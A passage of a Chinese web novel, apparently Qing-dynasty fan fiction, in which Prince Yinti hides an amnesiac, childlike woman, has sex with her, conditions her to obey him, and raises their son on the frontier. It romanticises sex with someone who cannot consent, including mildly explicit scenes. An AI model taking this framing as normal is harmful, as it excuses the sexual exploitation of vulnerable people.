过年了,胤禵被困在宫中,不能出宫,他也不知道乌锦在庄园那边过得如何,他只能尽量不去想,大年初七,他还跟四哥他们去酒楼喝酒。
四哥不喜欢喝酒的人,那一天喝得酩酊大醉,他没敢喝醉,就怕自己喝醉后说出什么不该说的话。
一直到十六日,过了元宵,他才过去庄园一趟,本以为乌锦会想他,见到他会很开心,只是这一次过去,她见到他只是微笑了一下,没有很兴奋,手里不知在折腾什么。
“在做什么?”
“蜻蜓,会飞的。”
胤禵见她拿着树叶在对折,他看一眼那个叫青茉的丫鬟,那丫鬟才说是她教乌锦的,是她小时候学过的折蜻蜓。
乌锦顾着折蜻蜓,没空理他。
胤禵知道他许久不过来,不像在塞外天天待在一块,共处一室,乌锦对他的依赖跟亲近就少了一些,他也不能强行逼她像以前那样黏着他。
其实只要她过得开心就行,胤禵知道一时半会,他没法带她离开京城,只能先这样。
……
康熙四十五年三月初,皇阿玛说要给他指一个福晋,胤禵说他年纪还小,不着急成婚,他只想替皇阿玛分忧,不管皇阿玛信不信,皇阿玛是暂且打消给他指婚的念头。
不过母妃那边给他分了几个伺候的侍妾,他没碰那些人,就晾在阿哥所那边。
一日白天,京城忽然下起暴雨,电闪雷鸣的,胤禵原本在宫中见到下雨,想到乌锦害怕电闪雷鸣的下雨天,他就直接出宫了。
等他急匆匆过来庄园这边,乌锦果然在哭,在丫鬟青茉怀里瑟瑟发抖。
“桃子。”
乌锦泪汪汪地抬头,见到他就张开双手要他抱,他过去抱住她。
“十四,我害怕,刚刚好大声。”
她说的应该是雷声,刚说完,外面又劈了一个雷,她吓得捂住自己的耳朵,哭得更大声了,在他怀里抖个不停。
“没事,只是打雷而已,下雨都会打雷,不用害怕。”
这话不管用,乌锦还是吓得脸色发白,眼角挂着泪,胤禵觉得她很可怜,也是真的害怕,他一遍遍安抚她,她头埋在他肩颈处,搂着他的脖子。
胤禵能感觉到她灼热的呼吸喷在他脖子上,甚至能感觉到她的红唇无意中擦过他脖颈。
“十四,我不要下雨,你让它停下来好不好。”
“它会停下来的,不用担心,下雨都会停的。”
乌锦还在哭,胤禵抬起她的下巴,替她擦眼泪,见她咬着下唇,他示意她松开,她不肯。
“会咬出血的,不用害怕,雨会停的。”
乌锦不听,他只好用手试着让她松开,好不容易让她松开,他目光落在乌锦自己咬的殷红双唇上,她盯着他看,有些微愠,似乎在怪他,他只注意到她近在咫尺的脸庞,他情不自禁地靠近,攫住那红唇,他只是贴上,还没什么都没有做,乌锦的舌头就探进来,他一激灵,然后加深这个吻。
第94章第94章新文《康熙家的德妃又作又茶……
乌锦比他更娴熟,这种事对她而言好像已经做过千遍万遍,几乎是她带着他,胤禵觉得自己该制止的,她什么都不懂,只凭着本能行事,但他没有,他是卑鄙的,鸠占鹊巢,只是他不后悔。
那两个丫鬟已经很识相地走出去。
胤禵目光跟乌锦对上,她亲完后又对着他笑,他柔声问道:“还害怕吗?”
她摇摇头。
“那我们继续好不好。”
她点点头。
胤禵觉得自己已经征得她的同意,他又亲了下来,她依旧没有抗拒,而是主动攀着他的脖子,到后面就顺理成章,她没有害怕,没有退却,眼神开始变得迷离。
“你知道我是谁吗?我是谁?”胤禵执着地问她,当她说出十四这两个字时,他松一口气,还好她没有把他当成四哥,此时的她是不记得四哥的。
结束时,胤禵把人紧紧搂在怀里,乌锦也乖乖地贴着他,他垂眸看她,她双颊处有些红晕,眼睛濡湿,雾蒙蒙的,仿佛含着水汽一般。
“下次下雨的时候,我们就像刚才那样,这样你就不会害怕了。”
乌锦觉得他说得有道理,懵懵地点头,她觉得刚才很好玩。
胤禵轻抚乌锦的后背,她嘴里还在哼唧,似乎觉得这样很舒服,他气息不由加重,又亲了亲她嘴角,见她又主动伸出舌头,
他忍不住说道:“以后只有我可以这样亲你,别人亲你,你要拒绝,不能随便伸舌头。”
“嗯?”
胤禵知道她不懂,他以后再慢慢教她。
温香软玉下,胤禵有点舍不得离开,不过他不得不走,傍晚时分,他还是离开庄园,离开时,外面还在下雨。
乌锦拉着他不让他走,他跟她说他过几日再来,她才肯松开。
因他突然出宫,又是在下暴雨的时候,他回宫第二天就被母妃叫去永和宫,问他去哪了,他说他是去见延信,他突然想起跟延信约好了,只是他忘了。
母妃虽然怀疑,但也没说什么。
倒是胤禵小心起见,又隔了十多天才去见乌锦,一见到乌锦,乌锦难得对他冷脸,控诉他不遵守诺言。
她还掰着手指头数数,说他是十个手指头还多四个手指头才来见她,当初他说的是几天,这次直接隔了半个月,胤禵也心生愧疚,果然回京就不自由了。
“我错了,你别生我的气,我有空就会立马过来。”
“哼。”乌锦背过身不理他。
胤禵笑着牵她的手,被她甩开,他不厌其烦地继续牵,然后将他准备好的金镯子戴到她手上。
乌锦见自己手腕上多了一个金镯子,十分好奇地端详,问他这是什么。
“这是金镯子,戴在你手上很好看。”
乌锦直接用牙齿啃了啃,啃完后说不能吃。
胤禵轻笑:“这当然不能吃,这是为了好看,下次我给你带好吃的。”
都说女子喜欢金银首饰,胤禵也想送些首饰给她,这镯子是他特意让人打造的,金灿灿的,戴在她白皙的手腕上很好看。
“你看我给你送了镯子,你该怎么感谢我?”
“嗯?”乌锦疑惑。
“你应该亲亲我。”胤禵诱哄道。
乌锦很快在他唇上啄吻一下,胤禵没想到她听得懂这句话,知道亲亲是什
么,心里不由地冒起一股酸气,肯定是她跟四哥常做这些事,她潜意识里还记得这些东西。
“是不是谁都可以要你的亲亲?”
“不是,只有十四可以。”
一句话让胤禵眉开眼笑,心情大好,原来她记得他跟她说过的话,他搂住她的腰,在她唇上印下一个响吻,“你说得没错,是只有十四可以,其他人都不可以,你要记住了,你要是让别人亲你,十四可是会生气的,十四生气的话,十四就不会过来看你了。”
“不要。”
“不要什么?”
“要十四过来。”
胤禵摸了摸她的脸,知道她还是惦记着他的,想要他天天过来,他知道这样不是长久之计,只有他们一起远离京城才是长久之计,他跟她说再等等。
“十四,我们去看树好不好。”
“好。”胤禵跟着她去看树,如今是三月底,京城回暖,庄园里的果树也开始冒绿叶,开花结果。
乌锦从树上摘一朵石榴花别在他耳朵后面,然后笑着跑开,胤禵追她,她就跑得更快,一直让他追她,伴随着她清脆的笑声。
她被他抓住时,气喘吁吁。
胤禵又盯上她的红唇,忍不住亲她。
“十四,换我追你了。”
她推了推他,还想着玩追逐的游戏,胤禵不忍她因此不开心,只好点点头,换成她追他。
……
到了四月初,胤禵被四哥叫去府里喝酒,他听闻四哥这阵子酗酒,原本管着户部那边的差事,如今比较懒散,不常去户部衙门那边当差。
他心里明白四哥为什么会变成这样,但只当做不知,四哥喝酒的时候没有跟他聊天,就是静静地喝。
四哥喝醉后,他跟苏培盛搀着四哥到他房间歇下,他才离开贝勒府,过了一个时辰,他来到庄园这边。
乌锦正跟两个丫鬟蹲在地上,不知在种些什么,她们没注意到他的到来。
“长成大树。”
“夫人,这是青菜种子,我们是在种菜,而不是种树。”
“青菜是什么?”
“青菜就是我们每一天吃的菜啊,夫人记不记得昨天吃的青菜。”
“我不喜欢吃青菜。”
“奴婢知道,夫人喜欢吃肉,不过青菜也要吃。”
胤禵听着丫鬟跟乌锦的对话,觉得这两个丫鬟伺候乌锦还算尽心,也能跟乌锦玩在一块,乌锦现在什么都不懂,最怕那些奴才以为乌锦什么都不懂而欺负她。
“在做什么?”
他一出声,三人同时回头,那两个丫鬟赶忙起身行礼,胤禵没管她们,只看着乌锦,她手上有些泥土。
“十四,你来啦,我们在种菜,郝大娘让我们帮忙。”
郝大娘是看守庄园里的奴才,也是延信的人,不知乌锦的身份,只知道乌锦是他的人。
“你是主子,不用做这些。”胤禵扫了那两个丫鬟一眼,眼神充满警告,她们若是敢让主子干活,他肯定会严惩她们。
“我喜欢,种菜好好玩。”
胤禵这才没说什么,种菜可能对乌锦而言是一种玩乐,他说道:“好啦,先去洗手,太阳出来了,别晒着。”
“不要,我还要继续种,十四,你跟我一起吧。”
胤禵一个阿哥哪种过什么菜,不过他还是蹲下来陪着她一起,其实就是往土里挖个小坑,把种子埋下去。
“十四,你好厉害呀。”
被乌锦夸赞的胤禵神情有些微囧,感觉自己被一个小孩子夸了一样,他说道:“好啦,种完这些就可以了。”
乌锦也觉得累了,过一会儿就被牵着进屋。
“十四,你吃,这个甜。”
胤禵看了看切好的香瓜,乌锦用银签叉了一块递到他嘴边,他心想她还知道给他分吃的,他顺着把香瓜从签子上咬下来,的确很甜。
乌锦坐在铺炕上晃荡着双腿,吃得很开心。
“我还要。”
乌锦又叉一块给他,不吝啬分享。
胤禵跟着开心起来。
等吃得差不多后,胤禵见乌锦已经开始犯困,她没管他,躺下来就睡,他直接把她抱到床上,只听见她呢喃,让他陪她一起睡。
“你先睡。”
胤禵没跟她一起,只是看着她入睡。
都过去大半年了,乌锦还没有恢复记忆,大夫当初说得了失魂症之人有可能一辈子都想不起来以前的事,乌锦会不会是这样子。
他看着床上睡得酣畅的人,摸了摸她的脸。
过一会儿,他才出去问两个丫鬟,乌锦这些天都做了什么,听完后他神情才缓和一些。
“她有没有想出去玩?”
两人摇头,说夫人从来没说过要出去玩。
胤禵知道那是乌锦不知道可以出去玩,他不放心地又叮嘱一遍,让她们把人盯紧,平日里那些粗活干着玩可以,但不要真的让主子干活。
两个丫鬟应下后,胤禵见时辰差不多了,才动身离开。
就这样又过了十天,胤禵再过来时,乌锦在睡觉,传来均匀的呼吸声,正好是午时,他也上床躺下,把人揽进怀里,跟她一起睡。
等他醒来时,乌锦也已经醒了,她正抓着他的小辫子玩。
“十四,你终于陪我一起睡了。”
胤禵也觉得自己好久没有这样跟她躺在一块,他基本上一个月来五六次,次数不多,不像在塞外那边,他们可以天天见面。
“那你想我陪你一起睡吗?”
“嗯。”
胤禵轻笑,知道她肯定不知道话中意思,他们也只是做过一次,那一次做完后也没有躺在一块睡觉,他见她穿着单薄的里衣,衣服带子都松了,半边滑落,露出光洁的肩膀。
“桃子,我们做上次做过的事情好不好?”
乌锦歪着头似在回想上次做了什么事情,胤禵就凑过去亲她。
“十四原来说的是这个。”
“对,我说的就是这个,你喜欢吗?”
她点点头。
胤禵虽然在这方面的经验不多,但上一次已经做过一次,这一次就稍显娴熟一些,乌锦在这个时候异常乖巧,甚至有些羞赧,脸红红的,一双黑眸潋滟迷蒙。
“十四,痒。”
“哪里痒?”
“我不知道。”
“没事,很快就不痒了,你闭上眼睛。”
她乖乖地闭上眼睛,胤禵将她全身都亲了一遍,结束时,他问她还痒不痒了,乌锦摇摇头。
“你喜欢这样吗?”
她先是摇头后是点头,胤禵觉得她大概是喜欢的,刚刚她就舒服地叫出声了,他怕弄疼她,不怎么用力。
“喜欢就好,不过你要记住,不可以让别人这样碰你,只有十四可以,不可以随便亲别人。”
“只有十四可以。”
胤禵满意地点头,他摸了摸她的肚子,这样子舒服,她整个人摊开来让他抚摸,像一只慵懒的猫。
过了一会儿,他才说自己要走了。
这次乌锦就没有依依不舍,已经习惯他们这样的分别,胤禵不想让她习惯,但没有办法,他总得回宫。
胤禵一直想带着乌锦离开京城,终于,两个月后,他等到这个机会,皇阿玛准备派一个人去镇守边关,东北之地苦寒艰苦,尤其是一去两到三年,没人想去,他主动请缨。
他也到了该担事的年纪,比起大哥他们已经有差事,有在内务府当差的,有在户部当差的,有在礼部当差的,他身为阿哥,不能一时无所事事,皇阿玛希望他们可以为他分忧。
东北偏远,又远离京城,尤其是如今的局势,皇阿玛对二哥似有不满,他那些哥哥开始有异心,一旦远离京城太久,也就意味着远离皇位之争,他们才无人想去边关,但却正合他意,他对皇位没有想法,只想带着乌锦远离京城。
皇阿玛说他年纪小,正好去历练历练,便答应了。
胤禵开始准备前去东北,这些日子都在收拾,他不打算带那些侍妾,只打算带一些可用的奴才,母妃虽然不舍得他去那么远的地方,但这是皇阿玛的旨意,她也不能说不。
他也不是第一次出远门,上一次去蒙古部落那边也是去了大
半年,只不过这一次去得久一点,东西收拾了许多。
九月二日,胤禵便从京城出发,皇阿玛给他分了四个佐领,约莫五百人,他带着这五百多人出发,四哥亲自送他,送到他城外才折返回去。
胤禵一行人到了通州后,在通州停歇三日,等延信将乌锦她们送过来后,他才重新动身。
“十四,我们这是去哪?”
乌锦跟他在同一辆马车,她好奇地望着外面,回头问他。
“去一个很远的地方,这样你跟我就可以天天在一起了。”
“真的吗?我们可以天天在一起了?”
胤禵肯定地点头,他拥着她,在她脸上亲了亲:“高兴吗?”
“嗯,高兴,我想跟十四天天在一起。”
胤禵知道从她受伤醒来第一眼见到他,她对他有很浓的依赖跟信任,一种雏鸟情结。
他们就这样在路上走了七八天,乌锦就身子不适,刚开始胤禵以为是舟车劳顿,长途奔波之下,乌锦才不舒服的,他便让人放慢行驶的速度。
到了第十五天,伺候的丫鬟青茉说乌锦月信有一个多月没来了,这丫鬟先前就是在庄园那边伺候乌锦的,他一并带过来,乌锦这样子不适合让生人伺候,他便跟延信要了这两个丫鬟,她们也伺候得尽心,他看在眼里。
被丫鬟这么一提醒,胤禵才意识到乌锦这些天这么疲惫,未必是因为舟车劳顿的缘故,他顿悟,同时欣喜不已。
不过这事还不能太声张,等到了边关那边再说,只剩下十余天就到了。
胤禵无比庆幸自己赶在乌锦肚子显怀前离开京城,远在边关,京城内的人想知道他身边发生的事就只能靠传信了,不会被盯得那么紧。
他每一天都忍不住摸乌锦的肚子,基本上她想吃什么,他就让人做给她吃,让队伍再放缓一些。
乌锦还一无所知,她每天吃喝睡,开始跟以前一样黏着他,他亲她,她也会主动迎上来。
到了九月低,他们终于到镇北关,这里是八旗驻守的地方,本就有八旗兵将驻守在在此,这里也会是他们未来两三年的常驻地。
这边的官员已经将一处大院收拾出来,胤禵带着乌锦安顿下来,第二天就请了大夫给乌锦把脉,大夫说乌锦的确怀孕两个多月,日子是对的。
胤禵大喜过望,原先还不敢确信,如今大夫都把出喜脉,真真正正确定下来,他咧着嘴忍不住笑了。
尽管如此,他也没有太声张,也让大夫保密,只有伺候乌锦的几个奴才知道。
夜里,他搂着乌锦时,跟她说她肚子里有一个宝宝了,她不能像以前那样随便乱跑乱跳,免得伤着孩子。
“什么宝宝?”
“就是孩子,你肚子里已经有属于我们两个人的孩子,你走路都要小心,不能伤着肚中胎儿。”
“十四,孩子是什么?”
“孩子就是孩子。”胤禵也不知道该怎么跟她解释孩子是什么,他摸着乌锦的肚子,“就是这里有一个孩子,等它生出来,它就是我们的孩子,可以跟你一起玩。”
“不要孩子。”
“为什么不要?”
“就是不要,疼。”
胤禵知道乌锦已经生过一次,她说疼是不是她想起以前的事,他盯着她,她似乎是脱口而出,他小心问道:“什么疼?哪里疼?”
“生孩子疼。”
为了不吓到她,胤禵说生孩子不疼,他摸着她的肚子,问道:“这样呢?这样疼不疼?”
“不疼,舒服。”
“那到时候我也会这样给你摸肚子,你就不会疼了。”
“十四,我想睡觉了。”
“好,你睡吧,闭上眼睛。”
乌锦困了,很快睡着,胤禵看着她睡着后才入睡。
……
虽说乌锦可能还不知道孩子是什么,但身边伺候的奴才都会小心对她,一旦她突然跑跳都会制止她,房间内的尖锐之物也会收起来。
她也慢慢显怀,胤禵也不停地告诉她走路要慢一点,久而久之,她也意识到自己不能这样走太快,也慢慢变得小心起来。
十二月初,镇北关下雪,白皑皑一片,外面冷得厉害。
胤禵踩着积雪走回屋内,屋内烧着炕,暖和不少,乌锦肚子已经大了不少,她正安静地坐在铺炕上学着青茉勾毛线。
听到脚步声,她抬起头,露出笑容:“十四,你回来啦。”
胤禵上前摸了摸她的脸,许是他刚从外面回来,手掌冰凉,她瑟缩了一下,脑袋偏到一边不让他摸。
“十四,冷,不可以摸我。”
“冷吗?我不觉得。”胤禵恶作剧般双手捧着她的脸揉搓两下。
“十四,你是坏人,你的手冷,冻到我了,不可以碰我。”
胤禵觉得乌锦又聪明了不少,她已经能正确表达她的情绪,想要什么,不想要什么,她已经比之前表达得更清楚了。
“好好好,不碰你,你在做什么?”
“做袜子。”
胤禵低头看她勾的毛线袜子,还有模有样,想到她之前就是绣娘,十分擅长针线活,他脸色变了变,他不想让她想起以前的事,他故意拿走她勾到一半的袜子,“先别做了,我们不缺袜子,孩子有没有踢你?今天有没有孕吐?”
“吐了,肉不好吃。”
她开始孕吐,先前喜欢吃肉,现在有点闻不得肉味,所以她开始说肉不好吃,他让奴才们先出去。
“那吃点酸梅,不能不吃东西,你躺下来,我给你摸摸。”
乌锦听话地躺下来,胤禵给她摸肚子,隔着衣服,他的手冷也不会冰到她,如今已经快五个月了,再过四个月,他们的孩子就出生了。
“十四,我想你一直这样摸我。”
“我不在的时候,你可以让青茉她们摸你。”
“可是你说过只有你可以摸。”
胤禵有些讶异地看着她,没想到她记得这么清楚,他看着她娇俏精致的脸庞,弯腰下去亲了亲她的脸,说道:“现在是特殊时期,你肚子里有孩子,你不舒服,所以可以让除了我之外的人摸你,比如青茉跟青莉,这是她们该做的,她们跟我一样都
是好人,我不在的时候,你可以让她们摸你肚子。”
“十四,我想吃荔枝。”
“荔枝?现在吃不到荔枝,要等到七月份的时候才能吃到荔枝,吃橘子好不好,我给你剥橘子。”
“好。”
胤禵给她剥橘子,一瓣一瓣喂给她,橘子酸甜,她很喜欢吃,他喂完一个后,把他的手指伸进去,她以为他喂的还是橘子,张口含住,想咬的时候发现不对劲,瞪他一眼,把他的手指吐出来。
“十四,我还要吃橘子。”
胤禵见到她瞪他,觉得新奇,她情绪向来都摆在脸上,不过只有高兴跟不高兴,像这样瞪他的样子比较少,他见过她这样瞪过四哥,四哥闹她的时候,她就是这样瞪四哥的。
“桃子,你有没有想起什么?”
“橘子。”
“好,我给你剥。”胤禵不再问,继续给她剥橘子,给她吃了两个后,他就不给她吃了,什么东西吃多了都不好。
“十四,我想出去外面玩。”
“不行,外面太冷了,下着雪呢,会冻着,等什么时候不下雪了,我们再出去。”
乌锦撅着嘴,有些不高兴。
这镇北关比京城还冷,胤禵不能拿她的身子开玩笑,外面是真的冰冷刺骨,他都有点受不住,更何况是怀孕的她。
第95章第95章新文《康熙家的德妃又作又茶……
胤禵让人把那些针线活都收起来,不让乌锦做这些,怕她见到熟悉的事物会想起什么。
过几天外面不下雪后,他还是带乌锦出去玩一玩,将她裹成球,包裹得严严实实才放心,积雪很厚,她堆着雪球,在雪地里玩得不亦乐乎,
“慢点跑。”
乌锦这才慢下来,然后将她手中的雪球砸向他,见他被砸得满身雪,她哈哈地笑起来。
胤禵可不敢就这样砸回去,不过他也知道乌锦想要玩,只是攥了一点点雪团向她轻砸过去,她再砸回来。
他们打起雪仗,到最后两个人都满身雪,怕乌锦被冻到,胤禵带着她进屋,暖手炉给她拿着,也命人给乌锦掸去衣服上的雪絮。
“冷不冷?去备热水。”
胤禵不放心,带着乌锦去泡热水澡,让她全身暖过来,洗完后,乌锦穿好衣服坐在铺炕上自己剥橘子吃。
胤禵坐在她旁边,让人把笔墨纸砚拿过来,他基本上每隔十天都会给皇阿玛传信,说一些这边的琐事,也上告皇阿玛这边的情况,他等于是皇阿玛的耳目。
他写到一半时见乌锦好奇地凑过来。
“十四,我也想要。”
“你想写字?”
乌锦点点头。
胤禵不知道乌锦原先识不识字,不过闲着没事,他可以教她,他让乌锦坐到他怀里,他从背后环住乌锦,握住她的手,教她写字,从她的名字桃子二字教起。
“这是你的名字,这是我的名字。”
胤禵没有教她胤禵二字,只是写了十四二字,他一个字一个字教她,乌锦也难得安静,握着笔很有劲。
“不错,真厉害,十四已经会写了,学得很快。”
胤禵夸她,乌锦又很快写了桃子二字,虽然有些歪扭,但看得出来她学得很快,他觉得乌锦已经慢慢恢复智力,虽然还没想起以前的事,但她的行为举止已经没有先前那么孩子气,他不知这是好事还是坏事。
胤禵又继续教她,不过她学了一会就不想学了,在纸上胡乱涂抹,然后转过身亲他。
“十四,我们来亲亲好不好。”
“嗯?”
自从她怀孕后,他们就再也没有做过,胤禵就怕伤到肚中的胎儿,今日她突然这么说,倒是让他有些惊讶。
“为什么想亲亲?”
“就是想。”
胤禵心里是高兴的,觉得乌锦已经开始习惯他的存在,习惯他们的亲密举动,见她撅着嘴,他忍不住亲她。
亲了好一会儿,她眼神有些迷离,自己上手想脱他的衣服,他抓住她的手,“不可以,我们不可以继续,对孩子不好。”
“十四,我想要。”
虽说已经过三个月了,但胤禵不想有意外,面对乌锦的“求欢”,他只能拒绝,她不高兴,他只好继续亲她。
“好啦,等生完孩子,我再给你补回来。”他哄道。
乌锦轻哼一声,似乎不满意浅尝辄止,手抓着他的命根子,胤禵忍得很辛苦,不停地亲她。
过了好一会儿后,两人都有些气喘,身子变热,胤禵把乌锦松掉的扣子给她重新系上,外袄穿好。
“是不是困了,睡一会吧。”
乌锦躺下来后很快睡着。
……
又是一年新年,胤禵设宴招待镇北关的八旗兵将,一群人热热闹闹地用膳喝酒,他在这边过的第一个年,为了表现出自己的平易近人,别人敬酒,他来者不拒。
虽然他酒量不错,但筳宴结束后,他还是喝醉了,被掺着回去,他回到屋内时,见到乌锦正在灯下看书。
“乌夫人,你识字?”
“十四阿哥,你喝多了,奴婢扶你到床上歇着吧。”青茉想把十四阿哥搀到床上,被胤禵拒绝。
胤禵眼里只有乌锦,他醉醺醺的过去搂住乌锦。
“乌夫人,你是我的。”
乌锦是等胤禵回来,平日里胤禵都是跟她一起入睡的,只是她闻到酒味,觉得不好闻,眉间紧皱,担忧问道:“十四,你怎么了?大夫,找大夫。”
青茉上前解释说十四阿哥只是喝多了,她让贾公公去端醒酒汤。
反正是几个人将喝醉后的十四阿哥好一段安抚,人才终于躺到床上,安静下来。
乌锦见十四躺下来,也跟着躺下来入睡。
半夜,胤禵呕吐,把乌锦吵醒,她看着难受的人,学着青茉拍十四的后背。
胤禵见到乌锦拍他的后背,眼神一愣,这会他恢复点意识了,吐完后人清醒不少,他愣愣地看着乌锦,这一小小拍背的举动让他意识到乌锦竟然也会照顾人了,之前都是别人照顾她。
“乌夫人,你是不是想起什么了?”
“十四,我们该睡觉了。”
胤禵听到这话,又笑了笑,他把她吵醒,此时她正在犯困呢,但又撑着精神给他拍背,他笑道:“是,是该睡觉了,你睡吧,我就在旁边。”
胤禵还是漱漱口才重新躺下去,他拥着乌锦,乌锦也缩在他怀里,原本难受的他顿时好受许多。
两个人在大年初一这一天几乎到中午才醒,好在没人管他们,他们也无需早起。
胤禵许久没有喝醉过,宿醉醒来整个人都不对劲,头沉得厉害,乌锦还跟他说以后不能喝酒,她郑重其事的样子让他觉得好笑,他这是被人管了。
以前在宫里被母妃管着,怎么出宫了还被人管,不过他嘴上应她,说他以后尽量不喝酒。
大年初一,这里人少,加上又冷,其实不如京城热闹,但胤禵还是带着乌锦到屋外放鞭炮,鞭炮声噼里啪啦的,吓得乌锦躲在他怀里。
尽管这边不如京城热闹,但胤禵这个年过得很开心,是他活到二十岁过得最开心的一年。
眨眼间到了二月初,乌锦已经怀胎七月,开始胎动,每次孩子踢她,她都觉得惊奇,有时候踢得太频繁,她就会不舒服,他会帮她揉肚子。
她也想要更多的亲亲,他问过大夫才知道女子怀孕期间,尤其是后期,体内激素上涨,反而越想做那些事,虽说大夫说可以行房,小心即可,但他还是选择保守一些,没有做到最后一步,只帮乌锦纾解。
底下那些人都知道他身边有一个已经怀孕的“侍妾”,那些人就想往他榻上送女人,都被他拒绝,胤禵想着他有乌锦一个就够了。
夜里,乌锦睡不着,尤其是到怀孕后期,胤禵都会陪着她,有时候给她说书,念一些民间故事给她听,她让他揉腿,他就给她揉腿,生怕她有哪里不舒服。
乌锦行动也越来不方便,肚子越来越大,胤禵只盼着这个孩子能尽快生下来,他看着乌锦到后面越来越不舒服,他心疼她受苦。
二月十日,窗外一阵响雷,很快下起了大雨,今年第一场雨,胤禵正好没有外出,在屋内陪着乌锦写字。
听到雷声,乌锦还是瑟缩了一下。
“别害怕,我在这里,只是下雨了。”
胤禵拍了拍她后背。
乌锦缩在他怀里,放下毛笔,也不写字了,她回头看他,眼神晶亮。
“怎么了?”
“十四,你说过的。”
“我说过什么?”
“你说过下雨了,我们要做舒服的事。”
胤禵才记起来自己跟她的第一次,他好像是说过这话,她什么都记得,她眼神太过炙热,他便点点头,然后搂住她的脖子。
青茉她们见状,赶忙出去。
许久没做,胤禵还是有所顾及,怕伤着
乌锦,倒是乌锦主动许多,到后面,他也渐渐放开。
事后,两人额间都出了一层细密的汗水,也可能是铺炕烘的。
“累吗?”
“不累,舒服。”
听到这话,胤禵忍不住笑了笑,她是想到什么说什么,没有一丁点掩饰,也不懂得掩饰。
“不累就好,记得每一次下雨,我们都要做这事。”胤禵说道。
“我想看看外面。”
胤禵就替了开了窗,两人披着棉被,就在窗边看院子那边,雨水将院子彻底打湿,连院子里的盆栽都没有幸免于难。
“是我的花。”
胤禵让人把那些盆栽挪到走廊下。
雨下了好一会儿,从大雨变成小雨,胤禵觉得太冷了,还是把窗阖上。
“不能生病,生病要喝很苦的药,外面风太大了。”他解释一句。
乌锦嗯了一声,然后拿起一本书看。
胤禵这阵子教她认字,但乌锦可能原先就识字,她现在偶尔会自己看书,他也不知她究竟有没有看懂,她看得认真,但他问她书上说了什么,她又答不上来。
他不能拦着她看书,她现在基本不能出去,只能在房间内看看书,偶尔摆弄一下花花草草,针线活被他禁止,她只能干这些了。
……
康熙四十六年四月九日,乌锦诞下一名男婴,母子平安,胤禵在乌锦生孩子时就守在一边,也不管接生产婆说男子进产房不吉利,他知道乌锦肯定害怕,他必须守在她身边。
乌锦生完后就筋疲力尽睡着了。
胤禵让人把孩子抱过来给他看看,刚出生的孩子还皱皱巴巴的,有点丑,不过想到这是他跟乌锦的孩子,他也就不嫌弃孩子丑了,反正到最后都会长开。
乌锦那么好看,她生的孩子长大后肯定也会好看。
阿哥好,以后继承他的爵位,胤禵让奶娘好好照顾小阿哥,让她们先把孩子抱走。
等乌锦醒来时,胤禵摸了摸乌锦的脸,跟她说孩子很好,四肢健全,很康健。
“疼。”
这会肯定是疼的,胤禵心疼地亲了亲她的脸,“我知道,过一会就不疼了,你想吃什么?”
“不吃。”
胤禵为了转移她的注意力,又给她讲故事。
乌锦听着听着就上手拍他的脸,埋怨道:“十四,我再也不要生孩子了,都是你害我的。”
挨了一巴掌的胤禵也没有生气,他应道:“是我的错,以后不生了,一个就好,我们以后不生了。”
乌锦刚生完孩子,伤口泛疼,没什么力气说话,她吃了一些瓜果后才觉得好一些。
生完第三天,乌锦才觉得下面不疼了,开始坐月子。
胤禵这阵子也没什么要紧事,陪着乌锦坐月子,他得阿哥这事暂时还没有对外声张。
许是成为母亲了,乌锦又成熟不少,不会像以前动不动就哭,照顾孩子时也很上手,好像一下子长大了,渐渐有以前乌夫人的影子。
胤禵开始给儿子想名字,想了好几个都不满意,他问乌锦想给儿子取什么名字。
“叫十五好啦。”
胤禵知道她就是顺着他的名字说的,十四十五,肯定不能叫十五,小名也不行,那是皇阿玛的儿子,十五远在皇宫那边呢,他只能自己想了,最后他想到儿子是在四月出生的,算是在春日出生,不如就叫弘春好啦。
他跟乌锦说的时候,乌锦有些嫌弃这个名字。
“十四,这个不好听。
“我觉得挺好听的,哪里不好听?”
“反正就是不好听。”
“那我再想想。”
胤禵开始翻书,还找了算命先生算,算命先生反而说弘春这个名字好,他跟乌锦说就叫弘春的时候,乌锦勉强同意。
弘春出生两个月后,胤禵才将对外宣告儿子的出生,将弘春的生辰日定在六月九日,对外发银子让他们跟他同喜。
他也是两个月后才给皇阿玛写信,告诉皇阿玛他喜得一子,并且打算给孩子取名叫弘春,他将乌锦的身份也写在信中,他也没有说要让皇阿玛册封乌锦为福晋或是侧福晋,这两者可能都要面临核查,所以目前乌锦仅是侍妾的身份,说乌锦是这边一个农户之女,不是姓乌,而是姓吴。
皇阿玛自然不会太在意一个侍妾的出身,他远离京城,也无人知道真假。
胤禵在弘春出生第四个月才给弘春办满月宴,邀请了不少官员跟官妇,带着乌锦一起出席。
乌锦一下子见到那么多生人,其实心里是有些害怕的,不过她已经不像之前那样直接表现出来,而是强装镇定。
而那些第一次见乌锦的人大多被她的美貌震住,明艳精致,一双眼睛更是灵动无比,无需过多修饰就足够引人注目,看不出来她是生过孩子的人。
那些人心想也怪不得十四阿哥会拒绝那些送给他的女子,这世间没几个女子的美貌能比得过十四阿哥这位侍妾了,十四阿哥看不上那些女子也是情有可原。
十四阿哥更是让那女子坐在他身旁,对那女子呵护备至,十四阿哥还没有娶妻,这女子又替十四阿哥生了阿哥,虽是侍妾,看十四阿哥对她的宠爱程度,这地位相当于十四阿哥半个福晋了吧。
乌锦紧张的时候,胤禵会在底下握住她的手,她无需说话,只需要笑着接受那些吉祥话跟恭喜就好。
等孩子被奶娘抱出来时,众人更是纷纷送礼,往弘春襁褓里塞了不少金子跟玉,大家都凑上去看孩子,弘春被抱着绕一圈后就被抱下去了。
这满月宴是宾客尽欢,胤禵十分满意,将人送走,他牵着乌锦回房间。
“桃子今天表现很好,有当家主母的风范,以后那些官妇给你递帖子,你可以试着见一见,跟她们多说话,多认识几个人,以后不用在房间里闷着。”
胤禵对乌锦今天的表现十分满意,他没想到乌锦能做到这样,她虽然紧张,但不怎么露怯,别人跟她说话,她也能回上一两句话。
“十四,你别把我当傻子。”
胤禵拥着她,说道:“我没有,我从来没有把你当傻子,我知道我们家桃子很聪明,学什么都很快,是谁跟你说这些的,你一点都不傻。”
“我要去看看孩子。”
胤禵真觉得有了孩子后,乌锦开始有责任心了,照顾起孩子也越来越顺手,人也变得稳重许多,他在想是不是随着日子过去,她是不是也会慢慢变得正常。
他希望她变得正常,又怕她就这样慢慢恢复记忆。
“我们一起去看吧。”他说道。
他带着乌锦来到弘春的房间,弘春身边有两个奶娘跟两个奴才轮流照顾,他此时睡得正熟。
“这孩子像你。”胤禵真觉得这孩子很像乌锦,他见过曦宁格格,曦宁也很像乌锦,简直是一个模子印出来的,她生的孩子都像她。
“十四,别吵着他。”
胤禵只能噤声。
